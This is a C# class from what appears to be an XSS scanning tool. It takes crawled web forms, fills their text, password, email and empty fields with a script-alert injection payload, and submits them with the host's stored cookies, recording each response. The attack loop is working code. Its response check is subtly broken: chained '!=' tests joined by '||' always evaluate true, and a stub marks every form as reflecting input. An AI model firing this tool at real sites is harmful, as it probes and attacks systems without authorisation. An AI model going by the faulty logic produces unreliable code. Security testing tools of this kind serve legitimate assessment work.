﻿using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Web;
using xKnight.Attacking.Xss;
using xKnight.Data;
using xKnight.Models;
using xKnight.WebCrawling.Core.HTTP;

namespace xKnight.Attacking.SimpleXss
{
	internal class SimpleXssAttackerAgent : AttackerAgent
	{
		#region Properties

		protected XssAttackingSharedReource SharedResource
		{
			get
			{
				return _attackingSharedResource as XssAttackingSharedReource;
			}
		}
		
		#endregion

		#region Constructors

		public SimpleXssAttackerAgent(AttackingSharedReource attackingSharedResource)
			: base(attackingSharedResource)
		{

		}

		#endregion

		#region Interface

		internal override void Attack()
		{
			Form form = null;
			
			while ((form = GetNotVistedForm()) != null)
			{
				if (HasReflectedResults(form))
				{
					DoAttack(form);
				}
			}
		}

		#endregion

		#region Private Methods

		private void DoAttack(Form form)
		{
			XAttack xAttack = new XAttack();
			xAttack.AttackId = SharedResource.SharedAttack.Id;
			xAttack.FormId = form.Id;
			xAttack.StartTime = DateTime.Now;

			XAttackParam[] attackParams = ComputeAttackParams(form);
			AddParamsToAttack(xAttack, attackParams);

			string attackVector = CreateAttackVector(attackParams, form);

			if (attackVector != null)
			{
				string response = SendAttackVector(form, attackVector);
				
				xAttack.ResponsePage = response;
				xAttack.FinishTime = DateTime.Now;
				xAttack.AttackContent = attackVector;
				DataLayer.Save(xAttack);
			}
		}

		private void AddParamsToAttack(XAttack xAttack, XAttackParam[] attackParams)
		{
			for (int i = 0; i < attackParams.Length; i++)
				xAttack.XAttackParams.Add(attackParams[i]);
		}

		protected virtual Form GetNotVistedForm()
		{
			Form form = null;
			lock (SharedResource.SharedLock)
			{
				form = SharedResource.SharedQueue.Count != 0 ? SharedResource.SharedQueue.Dequeue() : null;
			}

			return form;
		}

		protected virtual string SendAttackVector(Form form, string attackContent)
		{
			try
			{
				HttpWebRequest request = CreateWebRequest(form,attackContent);

				using (HttpWebResponse response = request.GetResponse() as HttpWebResponse)
				{
					return HandleWebResponse(response, form);
				}
			}
			catch (WebException ex)
			{
				HandleException(ex,form);

			}
			catch
			{
				HandleException(form);
			}
			return null;
		}

		private HttpWebRequest CreateWebRequest(Form form,string attackContent)
		{
			HttpRequestBuilder httpBuilder=new HttpRequestBuilder();

			return httpBuilder
				.SetCookies(DataLayer.GetHostCookies(form))
				.SetAllowAutoRedirect(true)
				.SetKeepAlive(true)
				.SetHttpMethod(form.Method.ToUpper())
				.SetContentType(form.Method=="get"?null:"application/x-www-form-urlencoded")
				.SetData(Encoding.UTF8.GetBytes(attackContent))
				.SetUrl(form.Method=="get"?(form.Action + attackContent): form.Action)
				.getHttpWebRequest();

		}

		private string HandleWebResponse(HttpWebResponse response, Form form)
		{
			SimpleXssAttackAnnounceItem announceItem;

			if (HasCorrectResponce(response) && (response.ContentType.Contains("text/html")))
			{
				announceItem = new SimpleXssAttackAnnounceItem(form.Action, form.Method, AttackStatus.AttackFinished, SharedResource, "", DateTime.Now
						, (int)response.StatusCode, response.StatusDescription, form.Webpage.Url);

				OnAgentAttackAnnounced(announceItem);
				SharedResource.IncrementAttacks();
				return HttpHelper.GetTextBodyOfHttpResponse(response);
			}
			else
			{
				announceItem = new SimpleXssAttackAnnounceItem(form.Action, form.Method, AttackStatus.AttackHalted, SharedResource, "", DateTime.Now
				  , (int)response.StatusCode, response.StatusDescription, form.Webpage.Url);

				OnAgentAttackAnnounced(announceItem);
				return null;
			}
		}

		private void HandleException(Form form)
		{
			SimpleXssAttackAnnounceItem announceItem = new SimpleXssAttackAnnounceItem(form.Action, form.Method, AttackStatus.AttackHalted, SharedResource, "", DateTime.Now
					, -1, "پاسخی دریافت نشد", form.Webpage.Url);
			OnAgentAttackAnnounced(announceItem);
		}

		private void HandleException(WebException ex, Form form)
		{
			HttpWebResponse response = ex.Response as HttpWebResponse;

			if (response != null)
			{
				SimpleXssAttackAnnounceItem announceItem = new SimpleXssAttackAnnounceItem(form.Action, form.Method, AttackStatus.AttackHalted, SharedResource, "", DateTime.Now
					, (int)response.StatusCode
					, response.StatusDescription, form.Webpage.Url);
				OnAgentAttackAnnounced(announceItem);
			}
			else
			{
				SimpleXssAttackAnnounceItem announceItem = new SimpleXssAttackAnnounceItem(form.Action, form.Method, AttackStatus.AttackHalted, SharedResource, "", DateTime.Now
					, -1, "پاسخی دریافت نشد", form.Webpage.Url);
				OnAgentAttackAnnounced(announceItem);
			}
		}

		/// <summary>
		/// Create appropriate attack vector based on metheod`s action type ('GET' or 'SET')
		/// attack vector is a set of (key,value) pair seperated by '&'
		/// </summary>
		/// <param name="attackParams"></param>
		/// <param name="form"></param>
		/// <returns></returns>
		protected virtual string CreateAttackVector(XAttackParam[] attackParams, Form form)
		{
			string postData = "";
			FormElement[] elements=DataLayer.GetFormElements(form);
			for (int i = 0; i < elements.Length; i++)
			{
				FormElement element =elements[i];
				
				if(!(form.Method=="get" && element.Type=="submit"))
					postData+=string.Format("{0}={1}&",element.Name
						,HttpUtility.UrlEncode(attackParams[i].Value));
			}

			if (postData.Length == 0)
				return null;

			postData = postData.Substring(0, postData.Length - 1);

			if (form.Method == "get")
			{
				postData = "?" + postData;
				if (!form.Action.EndsWith("/"))
					postData = "/" + postData;
			}

			return postData;
		}

		/// <summary>
		/// Set injected value for form elements.
		/// For hidden and submit elements, no value set.
		/// For 'text', 'password', 'email' and 'textarea' will set an injected value.
		/// if other elements has null value, will set a injected value, otherwise will set their own value.
		/// </summary>
		/// <param name="form"></param>
		/// <returns></returns>
		protected virtual XAttackParam[] ComputeAttackParams(Form form)
		{
			List<XAttackParam> lstParams=new List<XAttackParam>();
			FormElement[] elements = DataLayer.GetFormElements(form);

			for (int i = 0; i < elements.Length; i++)
			{
				FormElement element = elements[i];

				if (element.Type == "input/hidden" || element.Type == "input/submit")
				{
					lstParams.Add(new XAttackParam() { Value=element.Value,FormElementId=element.Id});
				}
				else if (element.Type == "input/text"
					|| element.Type == "input/password"
					|| element.Type == "input/email"
					|| element.Type=="textarea")
				{
					lstParams.Add(new XAttackParam() { Value = GetInjectionValue(),IsPoison = true, FormElementId = element.Id });
				}
				else
				{
					string value = element.Value;
					
					if(string.IsNullOrEmpty(value))
						lstParams.Add(new XAttackParam() { Value = GetInjectionValue(),IsPoison = true,FormElementId = element.Id });
					else
						lstParams.Add(new XAttackParam() { Value = value,IsPoison = false,FormElementId = element.Id });
				}
			}
			return lstParams.ToArray();
		}

		protected virtual string GetInjectionValue()
		{
			return "<script>alert('hi buddy');</script>";
		}

		protected virtual bool HasReflectedResults(Form form)
		{
			return true;
		}

		protected virtual bool HasCorrectResponce(HttpWebResponse response)
		{
			return (response.StatusCode != HttpStatusCode.NotFound
				|| response.StatusCode != HttpStatusCode.BadGateway
				|| response.StatusCode != HttpStatusCode.BadRequest
				|| response.StatusCode != HttpStatusCode.Forbidden
				|| response.StatusCode != HttpStatusCode.GatewayTimeout
				|| response.StatusCode != HttpStatusCode.Gone
				|| response.StatusCode != HttpStatusCode.InternalServerError
				|| response.StatusCode != HttpStatusCode.NotAcceptable);
		}

		#endregion
	}
}
